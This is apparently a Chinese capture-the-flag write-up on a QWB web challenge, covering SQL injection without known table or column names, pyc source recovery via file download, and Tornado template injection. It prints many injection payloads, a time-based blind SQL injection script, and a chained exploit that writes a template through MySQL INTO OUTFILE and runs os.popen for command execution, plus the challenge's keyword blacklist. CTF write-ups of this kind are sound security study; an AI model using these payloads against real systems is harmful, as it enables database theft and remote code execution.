一、知识点
1.sql注入无列名和表名
2.tornado的SSTI
二、解题
1. sql注入无列名和表名
这里总结一下几个常用的思路.下面先放一下表的结构
(1). 硬做(union注入)
payload:
select c from (select 1 as a, 1 as b, 1 as c union select * from test)x limit 1 offset 1
select `3` from(select 1,2,3 union select * from admin)a limit 1,1
//无逗号,有join版本 核心就是union
select a from (select * from (select 1 `a`)m join (select 2 `b`)n join (select 3 `c`)t where 0 union select * from test)x;
这是有逗号的情况,就是一个简单的重新取名。
假如没有逗号了。使用join来构造一个虚拟表头
盲注
((SELECT 1,concat('{result+chr(mid)}', cast("0" as JSON)))<(SELECT * FROM `this_fake_flag`))//ascii偏移
要求后面select的结果必须是一行。mysql中对char型大小写是不敏感的,盲注的时候要么可以使用hex
或者binary
这里只能使用concat
将字符型和binary拼接,使之大小写敏感,JSON
也可以使用char byte
代替
(2)报错注入
一般是sql语句查询的时候,出现了相同的列名
select * from(select * from table1 a join (select * from table1)b)c
CISCN2021的初赛原题罢了
获取列名
select * from(select * from table1 a join (select * from table1)b)c
using() 可以把其中已经爆出来的列名的影响取消
all select * from (select * from users as a join users as b)as c--+
all select*from (select * from users as a join users b using(id,username))c--+
all select*from (select * from users as a join users b using(id,username,password))c--+
(3)查询之前的记录
innodb:
select table_name from mysql.innodb_table_stats where database_name = database();
select table_name from mysql.innodb_index_stats where database_name = database();
sys:
//包含in
SELECT object_name FROM `sys`.`x$innodb_buffer_stats_by_table` where object_schema = database();
SELECT object_name FROM `sys`.`innodb_buffer_stats_by_table` WHERE object_schema = DATABASE();
SELECT TABLE_NAME FROM `sys`.`x$schema_index_statistics` WHERE TABLE_SCHEMA = DATABASE();
SELECT TABLE_NAME FROM `sys`.`schema_auto_increment_columns` WHERE TABLE_SCHEMA = DATABASE();
//不包含in
SELECT TABLE_NAME FROM `sys`.`x$schema_flattened_keys` WHERE TABLE_SCHEMA = DATABASE();
SELECT TABLE_NAME FROM `sys`.`x$ps_schema_table_statistics_io` WHERE TABLE_SCHEMA = DATABASE();
SELECT TABLE_NAME FROM `sys`.`x$schema_table_statistics_with_buffer` WHERE TABLE_SCHEMA = DATABASE();
//通过表文件的存储路径获取表名
这个很常用
SELECT FILE FROM `sys`.`io_global_by_file_by_bytes` WHERE FILE REGEXP DATABASE();
SELECT FILE FROM `sys`.`io_global_by_file_by_latency` WHERE FILE REGEXP DATABASE();
SELECT FILE FROM `sys`.`x$io_global_by_file_by_bytes` WHERE FILE REGEXP DATABASE();
//查询记录
SELECT QUERY FROM sys.x$statement_analysis WHERE QUERY REGEXP DATABASE();
SELECT QUERY FROM `sys`.`statement_analysis` where QUERY REGEXP DATABASE();
performance_schema:
SELECT object_name FROM `performance_schema`.`objects_summary_global_by_type` WHERE object_schema = DATABASE();
SELECT object_name FROM `performance_schema`.`table_handles` WHERE object_schema = DATABASE();
SELECT object_name FROM `performance_schema`.`table_io_waits_summary_by_index_usage` WHERE object_schema = DATABASE();
SELECT object_name FROM `performance_schema`.`table_io_waits_summary_by_table` WHERE object_schema = DATABASE();
SELECT object_name FROM `performance_schema`.`table_lock_waits_summary_by_table` WHERE object_schema = DATABASE();
//包含之前查询记录的表
SELECT digest_text FROM `performance_schema`.`events_statements_summary_by_digest` WHERE digest_text REGEXP DATABASE();
//包含表文件路径的表
SELECT file_name FROM `performance_schema`.`file_instances` WHERE file_name REGEXP DATABASE();
select%0dInfo%0dfrom%0dinformation_schema.processlist
补上我的sql注入exp
import requests,time
url= "http://192.168.43.221:8080/"
string = "qwertyuiopasdfghjklzxcvbnm1234567890/"
def sql_inject():
data = ""
for y in range(70):
for x in string:
payload = url + f"register.php?password=1&username=admin' and if(mid((select qwbqwbqwbpass from qwbtttaaab111e limit 0,1),{y},1) in ('{x}'),!sleep(5),1) and '1"
#payload = url + f"register.php?password=1&username=admin' and if(substr((SELECT digest_text FROM performance_schema.events_statements_summary_by_digest limit 1,1),{y},1) in ('{x}'),!sleep(3),1) and '1"
start = time.time()
#print(payload)
a=requests.get(payload).text
if("error" in a ):
print("error")
if(time.time()-start) > 3:
data = data + x
print(data)
break
2. 任意文件下载
现在第一个想法就是去下载flag,但是很可惜没有。结合提示pyc.
日常读取proc文件
拿到了当前的目录
再看看当前环境
SHELL=/bin/bash
TERM=xterm
Use=MYSQL
....
这些信息在后面都有可能会用得到。
现在到这里 我们就应该思考怎么才能拿到源码,来看看还有没有什么没有公布漏洞。
__pycache__/app.cpython-{version}.pyc
爆破之后面就是x.x 变成xx
然后使用在线的反编译工具,进行反编译,即可get源码。
3. tornado的SSTI
这个考点是我没有想到的。因为在网上搜索,我们可以发现其实在平时就没有考过这个除了护网杯,也没有资料查,这让我脚本小子怎么活。
这是tornado对于ssti的支持:https://github.com/tornadoweb/tornado/blob/master/tornado/template.py
首先把已经ban了的拿出来
black_func = ['eval', 'os', 'chr', 'class', 'compile', 'dir', 'exec', 'filter', 'attr', 'globals', 'help', 'input', 'local', 'memoryview', 'open', 'print', 'property', 'reload', 'object', 'reduce', 'repr', 'method', 'super', 'vars']
black_symbol = ["__", "'", '"', "$", "*", '{{']
black_keyword = ['or', 'and', 'while']
black_rce = ['render', 'module', 'include', 'raw']
出题人很贴心帮我们加了注释,感谢hxd。
我们现在需要做的就是从源码中先找到我们还能够使用的函数,也就是这里的rce
下面贴一下源码所有支持的标签。
{##}
{{}}
{%%}
我们看到源码发现这个玩意是这么玩的
{% func space suffix%}
下面func(operator) 总结
这些都是块的定义
intermediate_blocks = {
"else": set(["if", "for", "while", "try"]),
"elif": set(["if"]),
"except": set(["try"]),
"finally": set(["try"]),
}
可以比作if 这些语句
rce:
"extend " => {% extends *filename* %} 引入模板 只导入{%%}
"include" => 包含文件 就像直接复制进来的一样 {% include *filename* %}
"set" => 设置一个变量
"import" =>和python的一致 导入一个模块(能否配合文件写来命令执行?)
"from" => 通import
"comment" => continue 不要处理
"autoescape"=>设置整个文件的编码 {%autoescape None%} 关闭整个文件的编码 或者加载单独的函数名 不会影响include的文件
"whitespace"=>空白字符处理
"raw" => 执行python代码 without autoescaping.
"module" => 渲染一个模板{% module Template("foo.html", arg=42) %}
"apply" => {% apply function %}output{% end %} 对于这个块中的输出output
以上基本上就是所有的操作名字和一些简单的使用,具体还是得等师傅们使用了之后才会明白。
4 解题完成
那么这道题到这里 就只剩下了extennds了,我们应该如何去操作这个呢?又没有什么文件给我们用,我们该咋办呢?
前面我们说过了proc目录yyds,我们就是利用前面的我们发现python是mysql用户。那么就可以直接mysql写文件,然后达到任意命令执行。下面附带上exp。
def ssti(payload1,payload2,num):
s = requests.session()
print(s.get(url+f"register.php?username=demo{num}&password="+payload1).text)
print(s.get(url+f"register.php?username=demo{num}' into outfile '/var/lib/mysql-files/demo{num}&password=123").text)
s.get(url + "login.php?username=admin&password=we111c000me_to_qwb")
print(s.get(url+"good_job_my_ctfer.php?congratulations="+payload2).text)
if __name__ == '__main__':
num = random.randint(3,5000)
system = "cat /flag_qwb/flag"
payload1 = '{% set return __import__("os").popen("'+system+'").read()%}'
payload2 = '{% extends /var/lib/mysql-files/demo'+str(num)+' %}'
ssti(payload1,payload2,num)
这样就可以和前面组成一个完整的exp。在mysql中默认导出目录为/var/lib/mysql-files/
参考资料
复现环境:https://www.anquanke.com/post/id/244153 感谢大佬开源
三 提升
下面我们把环境中的黑名单全部撤销掉。来一个一个尝试一下刚才所发的所有payload
首先是简简单单的inlcude
:
可以看到用法和extends是一样的。
每一个禁止的函数都还可以玩。
这里我只是单独地说一下,有关于include的,里面引入的代码会自动解析{{}}
标签,我们不能将之抹去,那么利用的时候用上来payload来引入文件即可。